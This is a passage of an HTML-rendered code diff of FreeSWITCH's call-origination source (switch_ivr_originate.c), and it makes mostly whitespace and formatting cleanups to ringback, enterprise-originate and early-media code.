</span><del>-                                                                  read_codec-&gt;implementation-&gt;actual_samples_per_second,
-                                                                  read_codec-&gt;implementation-&gt;microseconds_per_packet / 1000);
</del><ins>+                                                                  read_codec-&gt;implementation-&gt;actual_samples_per_second, read_codec-&gt;implementation-&gt;microseconds_per_packet / 1000);
</ins><span class="cx">                                 write_frame-&gt;codec = write_codec;
</span><span class="cx">                                 write_frame-&gt;datalen = read_codec-&gt;implementation-&gt;decoded_bytes_per_packet;
</span><span class="cx">                                 write_frame-&gt;samples = write_frame-&gt;datalen / 2;
</span><span class="lines">@@ -1094,10 +1079,10 @@
</span><span class="cx">                                 read_codec = NULL;
</span><span class="cx">                                 switch_goto_status(SWITCH_STATUS_BREAK, end);
</span><span class="cx">                         }
</span><del>-                }        
</del><ins>+                }
</ins><span class="cx"> 
</span><span class="cx">                 oglobals-&gt;gen_ringback = 1;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (zstr(ringback_data)) {
</span><span class="cx">                         switch_goto_status(SWITCH_STATUS_SUCCESS, end);
</span><span class="cx">                 }
</span><span class="lines">@@ -1113,7 +1098,7 @@
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(oglobals-&gt;session), SWITCH_LOG_DEBUG, &quot;Play Ringback File [%s]\n&quot;, ringback_data);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         ringback-&gt;fhb.channels = read_codec-&gt;implementation-&gt;number_of_channels;
</span><span class="cx">                         ringback-&gt;fhb.samplerate = read_codec-&gt;implementation-&gt;actual_samples_per_second;
</span><span class="cx">                         if (switch_core_file_open(&amp;ringback-&gt;fhb,
</span><span class="lines">@@ -1148,7 +1133,7 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Play Ringback Tone [%s]\n&quot;, ringback_data);
</span><span class="cx">                         /* ringback-&gt;ts.debug = 1;
</span><span class="cx">                            ringback-&gt;ts.debug_stream = switch_core_get_console(); */
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (teletone_run(&amp;ringback-&gt;ts, ringback_data)) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error Playing Tone\n&quot;);
</span><span class="cx">                                 teletone_destroy_session(&amp;ringback-&gt;ts);
</span><span class="lines">@@ -1157,13 +1142,13 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-                        
- end:
</del><span class="cx"> 
</span><ins>+  end:
+
</ins><span class="cx">         switch_safe_free(tmp_data);
</span><span class="cx"> 
</span><span class="cx">         return status;
</span><del>- 
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -1179,7 +1164,7 @@
</span><span class="cx">         const switch_state_handler_table_t *table;
</span><span class="cx">         const char *cid_name_override;
</span><span class="cx">         const char *cid_num_override;
</span><del>-        switch_caller_profile_t *caller_profile_override; 
</del><ins>+        switch_caller_profile_t *caller_profile_override;
</ins><span class="cx">         switch_event_t *ovars;
</span><span class="cx">         switch_originate_flag_t flags;
</span><span class="cx">         switch_status_t status;
</span><span class="lines">@@ -1199,24 +1184,19 @@
</span><span class="cx"> static void *SWITCH_THREAD_FUNC enterprise_originate_thread(switch_thread_t *thread, void *obj)
</span><span class="cx"> {
</span><span class="cx">         enterprise_originate_handle_t *handle = (enterprise_originate_handle_t *) obj;
</span><del>-        
</del><ins>+
</ins><span class="cx">         handle-&gt;done = 0;
</span><del>-        handle-&gt;status = switch_ivr_originate(NULL, &amp;handle-&gt;bleg, &amp;handle-&gt;cause, 
</del><ins>+        handle-&gt;status = switch_ivr_originate(NULL, &amp;handle-&gt;bleg, &amp;handle-&gt;cause,
</ins><span class="cx">                                                                                   handle-&gt;bridgeto, handle-&gt;timelimit_sec,
</span><span class="cx">                                                                                   handle-&gt;table,
</span><span class="cx">                                                                                   handle-&gt;cid_name_override,
</span><del>-                                                                                  handle-&gt;cid_num_override,
-                                                                                  handle-&gt;caller_profile_override,
-                                                                                  handle-&gt;ovars,
-                                                                                  handle-&gt;flags,
-                                                                                  &amp;handle-&gt;cancel_cause
-                                                                                  );
</del><ins>+                                                                                  handle-&gt;cid_num_override, handle-&gt;caller_profile_override, handle-&gt;ovars, handle-&gt;flags, &amp;handle-&gt;cancel_cause);
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         handle-&gt;done = 1;
</span><span class="cx">         switch_mutex_lock(handle-&gt;mutex);
</span><span class="cx">         switch_mutex_unlock(handle-&gt;mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (handle-&gt;done != 2) {
</span><span class="cx">                 if (handle-&gt;status == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_channel_hangup(switch_core_session_get_channel(handle-&gt;bleg), SWITCH_CAUSE_LOSE_RACE);
</span><span class="lines">@@ -1235,8 +1215,8 @@
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx"> 
</span><span class="cx">         switch_core_session_read_lock(session);
</span><del>-        
-        while(rb_data-&gt;running &amp;&amp; switch_channel_ready(channel)) {
</del><ins>+
+        while (rb_data-&gt;running &amp;&amp; switch_channel_ready(channel)) {
</ins><span class="cx">                 if (status != SWITCH_STATUS_BREAK) {
</span><span class="cx">                         if (zstr(rb_data-&gt;ringback_data) || !strcasecmp(rb_data-&gt;ringback_data, &quot;silence&quot;)) {
</span><span class="cx">                                 status = switch_ivr_collect_digits_callback(session, NULL, 0, 0);
</span><span class="lines">@@ -1266,14 +1246,12 @@
</span><span class="cx">                                                                                                                                 const switch_state_handler_table_t *table,
</span><span class="cx">                                                                                                                                 const char *cid_name_override,
</span><span class="cx">                                                                                                                                 const char *cid_num_override,
</span><del>-                                                                                                                                switch_caller_profile_t *caller_profile_override, 
-                                                                                                                                switch_event_t *ovars,
-                                                                                                                                switch_originate_flag_t flags
-                                                                                                                                )
</del><ins>+                                                                                                                                switch_caller_profile_t *caller_profile_override,
+                                                                                                                                switch_event_t *ovars, switch_originate_flag_t flags)
</ins><span class="cx"> {
</span><span class="cx">         int x_argc = 0;
</span><span class="cx">         char *x_argv[MAX_PEERS] = { 0 };
</span><del>-        enterprise_originate_handle_t *hp = NULL, handles[MAX_PEERS] = { { 0 } };
</del><ins>+        enterprise_originate_handle_t *hp = NULL, handles[MAX_PEERS] = { {0} };
</ins><span class="cx">         int i;
</span><span class="cx">         switch_caller_profile_t *cp = NULL;
</span><span class="cx">         switch_channel_t *channel = NULL;
</span><span class="lines">@@ -1327,7 +1305,8 @@
</span><span class="cx">                         }
</span><span class="cx">                         /* swallow the opening bracket */
</span><span class="cx">                         while ((data + k) &amp;&amp; *(data + k)) {
</span><del>-                                j = k; k++;
</del><ins>+                                j = k;
+                                k++;
</ins><span class="cx">                                 /* note that this affects vars[] */
</span><span class="cx">                                 data[j] = data[k];
</span><span class="cx">                         }
</span><span class="lines">@@ -1336,8 +1315,8 @@
</span><span class="cx">                 }
</span><span class="cx">                 var_block_count++;
</span><span class="cx">                 continue;
</span><del>-    
-        var_extract_error:
</del><ins>+
+          var_extract_error:
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Parse Error!\n&quot;);
</span><span class="cx">                 switch_goto_status(SWITCH_STATUS_GENERR, done);
</span><span class="cx">         }
</span><span class="lines">@@ -1417,7 +1396,7 @@
</span><span class="cx">         switch_threadattr_create(&amp;thd_attr, pool);
</span><span class="cx">         switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
</span><span class="cx"> 
</span><del>-        for(i = 0; i &lt; x_argc; i++) {
</del><ins>+        for (i = 0; i &lt; x_argc; i++) {
</ins><span class="cx">                 handles[i].session = session;
</span><span class="cx">                 handles[i].bleg = NULL;
</span><span class="cx">                 handles[i].cause = 0;
</span><span class="lines">@@ -1428,18 +1407,18 @@
</span><span class="cx">                 handles[i].cid_name_override = cid_name_override;
</span><span class="cx">                 handles[i].cid_num_override = cid_num_override;
</span><span class="cx">                 handles[i].caller_profile_override = cp;
</span><del>-                switch_event_dup(&amp;handles[i].ovars, var_event);                
</del><ins>+                switch_event_dup(&amp;handles[i].ovars, var_event);
</ins><span class="cx">                 handles[i].flags = flags;
</span><span class="cx">                 switch_mutex_init(&amp;handles[i].mutex, SWITCH_MUTEX_NESTED, pool);
</span><span class="cx">                 switch_mutex_lock(handles[i].mutex);
</span><span class="cx">                 switch_thread_create(&amp;handles[i].thread, thd_attr, enterprise_originate_thread, &amp;handles[i], pool);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (channel &amp;&amp; !switch_channel_test_flag(channel, CF_PROXY_MODE) &amp;&amp; !switch_channel_test_flag(channel, CF_PROXY_MEDIA)) {
</span><span class="cx">                 if (switch_channel_test_flag(channel, CF_ANSWERED)) {
</span><span class="cx">                         ringback_data = switch_channel_get_variable(channel, &quot;transfer_ringback&quot;);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!ringback_data) {
</span><span class="cx">                         ringback_data = switch_channel_get_variable(channel, &quot;ringback&quot;);
</span><span class="cx">                 }
</span><span class="lines">@@ -1458,15 +1437,15 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-        for(;;) {
</del><ins>+        for (;;) {
</ins><span class="cx">                 running = 0;
</span><span class="cx">                 over = 0;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (channel &amp;&amp; !switch_channel_ready(channel)) {
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                for(i = 0; i &lt; x_argc; i++) {
</del><ins>+                for (i = 0; i &lt; x_argc; i++) {
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">                         if (handles[i].done == 0) {
</span><span class="lines">@@ -1490,10 +1469,10 @@
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><span class="cx"> 
</span><del>- done:
</del><span class="cx"> 
</span><ins>+  done:
+
</ins><span class="cx">         if (hp) {
</span><span class="cx">                 *cause = hp-&gt;cause;
</span><span class="cx">                 status = hp-&gt;status;
</span><span class="lines">@@ -1503,14 +1482,14 @@
</span><span class="cx">                 switch_event_destroy(&amp;hp-&gt;ovars);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        for(i = 0; i &lt; x_argc; i++) {
</del><ins>+        for (i = 0; i &lt; x_argc; i++) {
</ins><span class="cx">                 if (hp == &amp;handles[i]) {
</span><span class="cx">                         continue;
</span><span class="cx">                 }
</span><span class="cx">                 handles[i].cancel_cause = SWITCH_CAUSE_LOSE_RACE;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        for(i = 0; i &lt; x_argc; i++) {
</del><ins>+        for (i = 0; i &lt; x_argc; i++) {
</ins><span class="cx">                 if (hp == &amp;handles[i]) {
</span><span class="cx">                         continue;
</span><span class="cx">                 }
</span><span class="lines">@@ -1518,8 +1497,8 @@
</span><span class="cx">                 switch_thread_join(&amp;tstatus, handles[i].thread);
</span><span class="cx">                 switch_event_destroy(&amp;handles[i].ovars);
</span><span class="cx">         }
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         if (channel &amp;&amp; rb_data.thread) {
</span><span class="cx">                 switch_channel_set_flag(channel, CF_NOT_READY);
</span><span class="cx">                 switch_thread_join(&amp;tstatus, rb_data.thread);
</span><span class="lines">@@ -1527,7 +1506,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         if (var_event &amp;&amp; var_event != ovars) {
</span><span class="cx">                 switch_event_destroy(&amp;var_event);
</span><span class="lines">@@ -1552,29 +1531,29 @@
</span><span class="cx"> static void *SWITCH_THREAD_FUNC early_thread_run(switch_thread_t *thread, void *obj)
</span><span class="cx"> {
</span><span class="cx">         early_state_t *state = (early_state_t *) obj;
</span><del>-        originate_status_t originate_status[MAX_PEERS] = { { 0 }};
-        int16_t mux_data[SWITCH_RECOMMENDED_BUFFER_SIZE/2] = { 0 };
</del><ins>+        originate_status_t originate_status[MAX_PEERS] = { {0} };
+        int16_t mux_data[SWITCH_RECOMMENDED_BUFFER_SIZE / 2] = { 0 };
</ins><span class="cx">         int32_t sample;
</span><span class="cx">         switch_core_session_t *session;
</span><del>-        switch_codec_t *read_codec, read_codecs[MAX_PEERS] = { { 0 } };
</del><ins>+        switch_codec_t *read_codec, read_codecs[MAX_PEERS] = { {0} };
</ins><span class="cx">         int i, x, ready = 0, answered = 0;
</span><span class="cx">         int16_t *data;
</span><span class="cx">         uint32_t datalen = 0;
</span><span class="cx">         switch_status_t status;
</span><span class="cx">         switch_frame_t *read_frame;
</span><del>-        
-        for(i = 0; i &lt; MAX_PEERS &amp;&amp; (session = state-&gt;originate_status[i].peer_session); i++) {
</del><ins>+
+        for (i = 0; i &lt; MAX_PEERS &amp;&amp; (session = state-&gt;originate_status[i].peer_session); i++) {
</ins><span class="cx">                 originate_status[i].peer_session = session;
</span><span class="cx">                 switch_core_session_read_lock(session);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         while (state-&gt;ready) {
</span><span class="cx">                 datalen = 0;
</span><span class="cx">                 memset(mux_data, 0, sizeof(mux_data));
</span><span class="cx">                 ready = 0;
</span><span class="cx">                 answered = 0;
</span><span class="cx"> 
</span><del>-                for(i = 0; i &lt; MAX_PEERS &amp;&amp; (session = originate_status[i].peer_session); i++) {
</del><ins>+                for (i = 0; i &lt; MAX_PEERS &amp;&amp; (session = originate_status[i].peer_session); i++) {
</ins><span class="cx">                         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">                         if (switch_channel_media_ready(channel)) {
</span><span class="cx">                                 ready++;
</span><span class="lines">@@ -1582,10 +1561,10 @@
</span><span class="cx">                                 if (switch_channel_test_flag(channel, CF_ANSWERED)) {
</span><span class="cx">                                         answered++;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!switch_core_codec_ready((&amp;read_codecs[i]))) {
</span><span class="cx">                                         read_codec = switch_core_session_get_read_codec(session);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (switch_core_codec_init(&amp;read_codecs[i],
</span><span class="cx">                                                                                            &quot;L16&quot;,
</span><span class="cx">                                                                                            NULL,
</span><span class="lines">@@ -1604,12 +1583,12 @@
</span><span class="cx">                                         if (datalen &lt; read_frame-&gt;datalen) {
</span><span class="cx">                                                 datalen = read_frame-&gt;datalen;
</span><span class="cx">                                         }
</span><del>-                                        for (x = 0; x &lt; (int)read_frame-&gt;datalen / 2; x++) {
</del><ins>+                                        for (x = 0; x &lt; (int) read_frame-&gt;datalen / 2; x++) {
</ins><span class="cx">                                                 sample = data[x] + mux_data[x];
</span><span class="cx">                                                 switch_normalize_to_16bit(sample);
</span><del>-                                                mux_data[x] = (int16_t)sample;
</del><ins>+                                                mux_data[x] = (int16_t) sample;
</ins><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -1618,14 +1597,14 @@
</span><span class="cx">                         switch_buffer_write(state-&gt;buffer, mux_data, datalen);
</span><span class="cx">                         switch_mutex_unlock(state-&gt;mutex);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!ready || answered) {
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-        for(i = 0; i &lt; MAX_PEERS &amp;&amp; (session = originate_status[i].peer_session); i++) {
</del><ins>+        for (i = 0; i &lt; MAX_PEERS &amp;&amp; (session = originate_status[i].peer_session); i++) {
</ins><span class="cx">                 if (switch_core_codec_ready((&amp;read_codecs[i]))) {
</span><span class="cx">                         switch_core_codec_destroy(&amp;read_codecs[i]);
</span><span class="cx">                 }
</span><span class="lines">@@ -1653,13 +1632,10 @@
</span><span class="cx">                                                                                                          const switch_state_handler_table_t *table,
</span><span class="cx">                                                                                                          const char *cid_name_override,
</span><span class="cx">                                                                                                          const char *cid_num_override,
</span><del>-                                                                                                         switch_caller_profile_t *caller_profile_override, 
-                                                                                                         switch_event_t *ovars,
-                                                                                                         switch_originate_flag_t flags,
-                                                                                                         switch_call_cause_t *cancel_cause
-                                                                                                         )
</del><ins>+                                                                                                         switch_caller_profile_t *caller_profile_override,
+                                                                                                         switch_event_t *ovars, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
</ins><span class="cx"> {
</span><del>-        originate_status_t originate_status[MAX_PEERS] = { { 0 } }; 
</del><ins>+        originate_status_t originate_status[MAX_PEERS] = { {0} };
</ins><span class="cx">         switch_originate_flag_t dftflags = SOF_NONE, myflags = dftflags;
</span><span class="cx">         char *pipe_names[MAX_PEERS] = { 0 };
</span><span class="cx">         char *data = NULL;
</span><span class="lines">@@ -1703,7 +1679,7 @@
</span><span class="cx"> 
</span><span class="cx">         if (strstr(bridgeto, SWITCH_ENT_ORIGINATE_DELIM)) {
</span><span class="cx">                 return switch_ivr_enterprise_originate(session, bleg, cause, bridgeto, timelimit_sec, table, cid_name_override, cid_num_override,
</span><del>-                                                                                  caller_profile_override, ovars, flags);
</del><ins>+                                                                                           caller_profile_override, ovars, flags);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         oglobals.ringback_ok = 1;
</span><span class="lines">@@ -1743,7 +1719,7 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">                 if (switch_channel_test_flag(caller_channel, CF_PROXY_MODE) &amp;&amp; switch_channel_media_ready(caller_channel)) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, 
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
</ins><span class="cx">                                                           &quot;Channel is already up, delaying proxy mode 'till both legs are answered.\n&quot;);
</span><span class="cx">                         switch_channel_set_variable(caller_channel, &quot;bypass_media_after_bridge&quot;, &quot;true&quot;);
</span><span class="cx">                         switch_channel_set_variable(caller_channel, SWITCH_BYPASS_MEDIA_VARIABLE, NULL);
</span><span class="lines">@@ -1752,19 +1728,18 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">                 if (switch_channel_test_flag(caller_channel, CF_PROXY_MEDIA) &amp;&amp; switch_channel_media_ready(caller_channel)) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, 
-                                                          &quot;Channel is already up, proxy media cannot be used anymore\n&quot;);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Channel is already up, proxy media cannot be used anymore\n&quot;);
</ins><span class="cx">                         switch_channel_set_variable(caller_channel, SWITCH_PROXY_MEDIA_VARIABLE, NULL);
</span><span class="cx">                         switch_channel_clear_flag(caller_channel, CF_PROXY_MEDIA);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (timelimit_sec &lt;= 0) {
</span><span class="cx">                 timelimit_sec = 60;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx">         oglobals.idx = IDX_NADA;
</span><span class="cx">         oglobals.early_ok = 1;
</span><span class="cx"> 
</span><span class="lines">@@ -1809,7 +1784,8 @@
</span><span class="cx">                         }
</span><span class="cx">                         /* swallow the opening bracket */
</span><span class="cx">                         while ((data + k) &amp;&amp; *(data + k)) {
</span><del>-                                j = k; k++;
</del><ins>+                                j = k;
+                                k++;
</ins><span class="cx">                                 /* note that this affects vars[] */
</span><span class="cx">                                 data[j] = data[k];
</span><span class="cx">                         }
</span><span class="lines">@@ -1818,8 +1794,8 @@
</span><span class="cx">                 }
</span><span class="cx">                 var_block_count++;
</span><span class="cx">                 continue;
</span><del>-    
-        var_extract_error:
</del><ins>+
+          var_extract_error:
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Parse Error!\n&quot;);
</span><span class="cx">                 status = SWITCH_STATUS_GENERR;
</span><span class="cx">                 goto done;
</span><span class="lines">@@ -1839,7 +1815,7 @@
</span><span class="cx">         /* Some channel are created from an originating channel and some aren't so not all outgoing calls have a way to get params
</span><span class="cx">            so we will normalize dialstring params and channel variables (when there is an originator) into an event that we 
</span><span class="cx">            will use as a pseudo hash to consult for params as needed.
</span><del>-        */
</del><ins>+         */
</ins><span class="cx"> 
</span><span class="cx">         if (ovars) {
</span><span class="cx">                 var_event = ovars;
</span><span class="lines">@@ -1905,8 +1881,8 @@
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                 /* Copy all the missing applicable channel variables from A-leg into the event */
</span><span class="cx">                 if ((hi = switch_channel_variable_first(caller_channel))) {
</span><span class="cx">                         for (; hi; hi = hi-&gt;next) {
</span><span class="lines">@@ -1952,16 +1928,16 @@
</span><span class="cx">                         switch_channel_variable_last(caller_channel);
</span><span class="cx">                 }
</span><span class="cx">                 /*
</span><del>-                  if ((hi = switch_channel_variable_first(caller_channel))) {
-                  for (; hi; hi = switch_hash_next(hi)) {
-                  switch_hash_this(hi, &amp;vvar, NULL, &amp;vval);
-                  if (vvar &amp;&amp; vval) {
-                  switch_event_add_header_string(var_event, SWITCH_STACK_BOTTOM, (void *) vvar, (char *) vval);
-                  }
-                  }
-                  switch_channel_variable_last(caller_channel);
-                  }
-                */
</del><ins>+                   if ((hi = switch_channel_variable_first(caller_channel))) {
+                   for (; hi; hi = switch_hash_next(hi)) {
+                   switch_hash_this(hi, &amp;vvar, NULL, &amp;vval);
+                   if (vvar &amp;&amp; vval) {
+                   switch_event_add_header_string(var_event, SWITCH_STACK_BOTTOM, (void *) vvar, (char *) vval);
+                   }
+                   }
+                   switch_channel_variable_last(caller_channel);
+                   }
+                 */
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (caller_channel) {                /* ringback is only useful when there is an originator */
</span><span class="lines">@@ -1982,7 +1958,7 @@
</span><span class="cx">                         ringback_data = NULL;
</span><span class="cx">                 } else if (zstr(ringback_data)) {
</span><span class="cx">                         const char *vvar;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if ((vvar = switch_channel_get_variable(caller_channel, SWITCH_SEND_SILENCE_WHEN_IDLE_VARIABLE))) {
</span><span class="cx">                                 int sval = atoi(vvar);
</span><span class="cx"> 
</span><span class="lines">@@ -1993,7 +1969,6 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #if 0
</span><span class="cx">         /* changing behaviour ignore_early_media=true must also be explicitly set for previous behaviour */
</span><span class="cx">         if (ringback_data) {
</span><span class="lines">@@ -2015,7 +1990,7 @@
</span><span class="cx">            rejections should terminate the attempt rather than a timeout, answer, or rejection by all. 
</span><span class="cx">            If the value is set to 'true' any fail cause will end the attempt otherwise it can contain a comma (,) separated
</span><span class="cx">            list of cause names which should be considered fatal
</span><del>-        */
</del><ins>+         */
</ins><span class="cx">         if ((var = switch_event_get_header(var_event, &quot;fail_on_single_reject&quot;)) &amp;&amp; switch_true(var)) {
</span><span class="cx">                 fail_on_single_reject_var = strdup(var);
</span><span class="cx">                 fail_on_single_reject = 1;
</span><span class="lines">@@ -2150,12 +2125,12 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;Only calling the first element in the list in this mode.\n&quot;);
</span><span class="cx">                         or_argc = 1;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 for (r = 0; r &lt; or_argc; r++) {
</span><span class="cx">                         char *p, *end = NULL;
</span><span class="cx">                         const char *var_begin, *var_end;
</span><span class="cx">                         oglobals.hups = 0;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         reason = SWITCH_CAUSE_NONE;
</span><span class="cx">                         memset(peer_names, 0, sizeof(peer_names));
</span><span class="cx">                         peer_session = NULL;
</span><span class="lines">@@ -2174,9 +2149,10 @@
</span><span class="cx">                         oglobals.sent_ring = 0;
</span><span class="cx">                         oglobals.progress = 0;
</span><span class="cx">                         myflags = dftflags;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (try &gt; 0) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, &quot;Originate attempt %d/%d in %d ms\n&quot;, try + 1, retries, sleep_ms);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, &quot;Originate attempt %d/%d in %d ms\n&quot;, try + 1, retries,
+                                                                  sleep_ms);
</ins><span class="cx">                                 if (caller_channel) {
</span><span class="cx">                                         switch_ivr_sleep(oglobals.session, sleep_ms, SWITCH_TRUE, NULL);
</span><span class="cx">                                         if (!switch_channel_ready(caller_channel)) {
</span><span class="lines">@@ -2187,9 +2163,9 @@
</span><span class="cx">                                         switch_yield(sleep_ms * 1000);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         p = pipe_names[r];
</span><del>-                        while(p &amp;&amp; *p) {
</del><ins>+                        while (p &amp;&amp; *p) {
</ins><span class="cx">                                 if (*p == '[') {
</span><span class="cx">                                         end = switch_find_end_paren(p, '[', ']');
</span><span class="cx">                                 }
</span><span class="lines">@@ -2204,7 +2180,7 @@
</span><span class="cx"> 
</span><span class="cx">                                 p++;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         and_argc = switch_separate_string(pipe_names[r], ',', peer_names, (sizeof(peer_names) / sizeof(peer_names[0])));
</span><span class="cx"> 
</span><span class="cx">                         if ((flags &amp; SOF_NOBLOCK) &amp;&amp; and_argc &gt; 1) {
</span><span class="lines">@@ -2250,11 +2226,11 @@
</span><span class="cx">                                         new_profile-&gt;uuid = SWITCH_BLANK_STRING;
</span><span class="cx">                                         new_profile-&gt;chan_name = SWITCH_BLANK_STRING;
</span><span class="cx">                                         new_profile-&gt;destination_number = switch_core_strdup(new_profile-&gt;pool, chan_data);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (switch_channel_direction(caller_channel) == SWITCH_CALL_DIRECTION_OUTBOUND) {
</span><span class="cx">                                                 const char *callee_id_name = new_profile-&gt;callee_id_name;
</span><span class="cx">                                                 const char *callee_id_number = new_profile-&gt;callee_id_number;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (zstr(callee_id_number)) {
</span><span class="cx">                                                         callee_id_number = new_profile-&gt;destination_number;
</span><span class="cx">                                                 }
</span><span class="lines">@@ -2262,7 +2238,7 @@
</span><span class="cx">                                                 if (zstr(callee_id_name)) {
</span><span class="cx">                                                         callee_id_name = callee_id_number;
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 new_profile-&gt;caller_id_name = callee_id_name;
</span><span class="cx">                                                 new_profile-&gt;caller_id_number = callee_id_number;
</span><span class="cx">                                                 new_profile-&gt;callee_id_name = SWITCH_BLANK_STRING;
</span><span class="lines">@@ -2313,7 +2289,7 @@
</span><span class="cx">                                                 myflags |= SOF_FORKED_DIAL;
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 /* only valid in [] since it's unique to each channel leg */
</span><span class="cx"> 
</span><span class="cx">                                 if (vdata &amp;&amp; (var_begin = switch_stristr(&quot;origination_uuid=&quot;, vdata))) {
</span><span class="lines">@@ -2322,7 +2298,7 @@
</span><span class="cx">                                         var_end = strchr(var_begin, '|');
</span><span class="cx"> 
</span><span class="cx">                                         if (var_end) {
</span><del>-                                                strncpy(tmp, var_begin, var_end-var_begin);
</del><ins>+                                                strncpy(tmp, var_begin, var_end - var_begin);
</ins><span class="cx">                                         } else {
</span><span class="cx">                                                 strncpy(tmp, var_begin, strlen(var_begin));
</span><span class="cx">                                         }
</span><span class="lines">@@ -2333,63 +2309,63 @@
</span><span class="cx">                                 /* The rest are valid in both {} and [] with [] taking precedence */
</span><span class="cx"> 
</span><span class="cx">                                 current_variable = NULL;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (vdata &amp;&amp; (var_begin = switch_stristr(&quot;origination_caller_id_number=&quot;, vdata))) {
</span><span class="cx">                                         var_begin += strlen(&quot;origination_caller_id_number=&quot;);
</span><span class="cx">                                         var_end = strchr(var_begin, '|');
</span><span class="cx"> 
</span><span class="cx">                                         if (var_end) {
</span><del>-                                                strncpy(variable_buffer, var_begin, var_end-var_begin);
</del><ins>+                                                strncpy(variable_buffer, var_begin, var_end - var_begin);
</ins><span class="cx">                                         } else {
</span><span class="cx">                                                 strncpy(variable_buffer, var_begin, strlen(var_begin));
</span><span class="cx">                                         }
</span><span class="cx"> 
</span><span class="cx">                                         current_variable = variable_buffer;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (current_variable || (current_variable = switch_event_get_header(var_event, &quot;origination_caller_id_number&quot;))) {
</span><span class="cx">                                         new_profile-&gt;caller_id_number = switch_core_strdup(new_profile-&gt;pool, current_variable);
